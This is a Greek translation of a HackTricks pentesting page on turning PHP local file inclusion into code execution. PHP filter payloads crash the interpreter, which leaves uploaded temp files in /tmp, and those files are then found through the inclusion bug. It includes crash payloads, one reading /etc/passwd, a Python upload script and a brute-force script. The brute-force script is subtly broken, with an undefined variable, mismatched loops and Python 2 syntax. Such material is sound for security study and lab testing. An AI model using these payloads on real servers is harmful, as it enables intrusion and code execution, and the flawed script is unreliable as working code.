hacktricks/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00

5.7 KiB
Raw Blame History

LFI2RCE μέσω Segmentation Fault

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Σύμφωνα με τα άρθρα https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (δεύτερο μέρος) και https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, οι παρακάτω φορτίδες προκάλεσαν ένα segmentation fault στην PHP:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Θα πρέπει να γνωρίζετε ότι αν στείλετε ένα αίτημα POST που περιέχει ένα αρχείο, η PHP θα δημιουργήσει ένα προσωρινό αρχείο στο /tmp/php<κάτι> με το περιεχόμενο του αρχείου αυτού. Αυτό το αρχείο θα διαγραφεί αυτόματα μόλις επεξεργαστείται το αίτημα.

Αν βρείτε μια LFI και καταφέρετε να ενεργοποιήσετε ένα segmentation fault στην PHP, το προσωρινό αρχείο δεν θα διαγραφεί ποτέ. Επομένως, μπορείτε να το αναζητήσετε με την ευπάθεια του LFI μέχρι να το βρείτε και να εκτελέσετε αυθαίρετο κώδικα.

Μπορείτε να χρησιμοποιήσετε την εικόνα docker https://hub.docker.com/r/easyengine/php7.0 για δοκιμές.

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks: